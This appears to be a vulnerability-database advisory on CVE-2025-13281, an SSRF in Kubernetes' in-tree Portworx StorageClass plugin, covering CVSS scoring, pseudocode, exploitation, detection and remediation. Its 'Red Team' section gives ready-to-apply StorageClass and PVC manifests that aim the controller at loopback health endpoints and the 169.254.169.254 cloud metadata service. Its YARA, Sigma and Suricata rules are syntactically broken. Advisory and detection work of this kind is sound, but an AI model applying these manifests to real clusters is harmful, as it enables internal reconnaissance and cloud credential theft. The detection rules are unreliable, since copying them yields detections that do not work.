CVE-2025-13281
Executive Summary
CVE-2025-13281 is a half-blind Server-Side Request Forgery (SSRF) vulnerability in the in-tree Portworx StorageClass integration within kube-controller-manager. This flaw allows an authenticated attacker with minimal privileges to force the Kubernetes control plane to make arbitrary HTTP requests to internal or link-local endpoints. The vulnerability is classified as half-blind because the attacker can observe response timing or side-channel data but does not receive full response bodies. The CVSS score of 5.8 reflects a medium severity, with the primary impact being information disclosure from unprotected control plane services.
The vulnerability resides in how kube-controller-manager processes StorageClass objects referencing Portworx. When a user creates a PersistentVolumeClaim (PVC) using a Portworx StorageClass, the controller fetches configuration from a user-supplied endpoint without proper validation. This enables SSRF attacks against loopback (127.0.0.1) or link-local (169.254.x.x) addresses, potentially leaking sensitive data from services like the Kubernetes API server’s health endpoints or cloud metadata services.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). It affects the Kubernetes control plane component kube-controller-manager when using the in-tree Portworx StorageClass plugin. The supply chain risk is indirect: if an attacker compromises a user with PVC creation permissions, they can exploit this SSRF to pivot to internal services. No open-source patch data is available from OSV or GitHub at this time.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
- Base Score: 5.8 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): Low – Attacker needs only PVC creation permissions.
- User Interaction (UI): None – No user action needed.
- Scope (S): Changed – The vulnerable component (kube-controller-manager) impacts resources beyond its original authorization scope.
- Confidentiality (C): Low – Limited information disclosure (half-blind).
- Integrity (I): None – No data modification possible.
- Availability (A): None – No denial of service.
Threat Level: Medium. The half-blind nature limits data exfiltration, but the ability to probe internal services (e.g., cloud metadata endpoints) can lead to credential leakage in cloud environments.
Deep Dive & Mechanics
The vulnerability is triggered when kube-controller-manager processes a StorageClass with the provisioner: kubernetes.io/portworx-volume. The controller’s Portworx provisioner makes HTTP requests to a URL derived from the StorageClass parameters (e.g., restUrl). The flaw is that the URL is not validated against a whitelist, allowing an attacker to specify internal addresses.
Attack Flow:
- Attacker creates a StorageClass with
provisioner: kubernetes.io/portworx-volumeand setsparameters.restUrltohttp://127.0.0.1:10252/healthz(a kube-controller-manager health endpoint). - Attacker creates a PVC referencing this StorageClass.
kube-controller-managerattempts to provision the volume by sending an HTTP GET to the attacker-controlled URL.- The response (or lack thereof) is reflected in the PVC status or controller logs, leaking information (e.g., whether the endpoint exists, response timing).
Half-Blind Nature: The attacker does not receive the full response body but can infer information from:
- PVC provisioning success/failure status.
- Error messages in the controller logs (if accessible).
- Timing differences (e.g., 200 vs 404 responses).
Affected Component: kube-controller-manager with in-tree Portworx volume plugin (enabled by default in many Kubernetes distributions).
Vulnerable vs. Patched Code
No official patch is available. The vulnerable code path is in the Portworx in-tree provisioner (typically in pkg/volume/portworx/). The fix would involve:
Vulnerable: Direct use of user-supplied
restUrlwithout validation.// Vulnerable pseudocode func (p *portworxProvisioner) Provision(...) error { restUrl := options.Parameters["restUrl"] resp, err := http.Get(restUrl) // No validation // ... }Patched: Validate the URL against an allowlist of trusted endpoints.
// Patched pseudocode func (p *portworxProvisioner) Provision(...) error { restUrl := options.Parameters["restUrl"] if !isAllowedURL(restUrl) { return fmt.Errorf("restUrl not allowed") } resp, err := http.Get(restUrl) // ... } func isAllowedURL(url string) bool { // Only allow specific Portworx API endpoints allowed := []string{"https://px-api.example.com", "http://px-svc:9001"} for _, a := range allowed { if strings.HasPrefix(url, a) { return true } } return false }
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Kubernetes cluster with
kube-controller-managerusing in-tree Portworx. - Permissions to create StorageClass and PVC objects.
Exploit Steps:
- Create a malicious StorageClass:
apiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: exploit-sc provisioner: kubernetes.io/portworx-volume parameters: restUrl: "http://127.0.0.1:10252/healthz" - Create a PVC using this StorageClass:
apiVersion: v1 kind: PersistentVolumeClaim metadata: name: exploit-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi storageClassName: exploit-sc - Monitor the PVC status. If the endpoint is reachable, the PVC may enter a
Pendingstate with an error message indicating a connection was made. If unreachable, it may timeout. - For link-local exploitation (e.g., cloud metadata), use
http://169.254.169.254/latest/meta-data/.
Expected Outcome: Information disclosure about internal services (e.g., whether a health endpoint is alive, cloud metadata existence).
Blue Team (Detection & Hardening)
Detection:
- Monitor
kube-controller-managerlogs for unusual HTTP requests to internal IPs. - Alert on StorageClass creation with
provisioner: kubernetes.io/portworx-volumeand non-standardrestUrlparameters.
Hardening:
- Disable the in-tree Portworx plugin if not used:
--volume-plugins=...(excludeportworx). - Use a network policy to restrict
kube-controller-manageregress to only known Portworx endpoints. - Implement admission controllers (e.g., OPA/Gatekeeper) to validate StorageClass parameters.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from
kube-controller-managerto loopback (127.0.0.1/8) or link-local (169.254.0.0/16) addresses. - Logs:
kube-controller-managerlogs containing lines like:E0210 12:34:56.789012 12345 portworx.go:123] Failed to connect to http://127.0.0.1:10252/healthz: connection refused - Kubernetes Objects: StorageClass with
provisioner: kubernetes.io/portworx-volumeand suspiciousrestUrlparameter. - PVC Status: PVC stuck in
Pendingwith error messages referencing internal IPs.
Detection Engineering
YARA Rule
rule CVE_2025_13281_Portworx_SSRF {
meta:
description = "Detects SSRF attempts against internal IPs in kube-controller-manager logs"
author = "Valters IT"
date = "2025-02-10"
cve = "CVE-2025-13281"
strings:
$s1 = "portworx" nocase
$s2 = "127.0.0.1" or "169.254" or "localhost"
$s3 = "connection refused" or "dial tcp" or "no route to host"
condition:
all of ($s1, $s2, $s3)
}
Sigma Rule
title: CVE-2025-13281 Portworx SSRF Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts in kube-controller-manager logs targeting internal IPs
author: Valters IT
date: 2025/02/10
logsource:
product: kubernetes
service: kube-controller-manager
detection:
selection:
- "portworx"
- "127.0.0.1" or "169.254" or "localhost"
- "connection refused" or "dial tcp" or "no route to host"
condition: all of selection
falsepositives:
- Legitimate Portworx API calls to internal services (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13281 Portworx SSRF Attempt"; flow:to_server; content:"portworx"; http_uri; content:"127.0.0.1" or "169.254" or "localhost"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable in-tree Portworx plugin if not required: Add
--volume-plugins=...tokube-controller-managerstartup arguments, excludingportworx. - Network Segmentation: Apply egress network policies to restrict
kube-controller-manageroutbound traffic to only known Portworx API endpoints. - Admission Control: Use OPA/Gatekeeper to deny StorageClass creation with
provisioner: kubernetes.io/portworx-volumeunlessrestUrlmatches an approved pattern.
Long-Term Fix:
- Monitor the Portworx and Kubernetes upstream for an official patch.
- Migrate to the out-of-tree Portworx CSI driver, which may have different validation logic.
Workaround:
- If the Portworx plugin is essential, manually patch the
kube-controller-managerbinary to add URL validation (not recommended for production without thorough testing).
Valters IT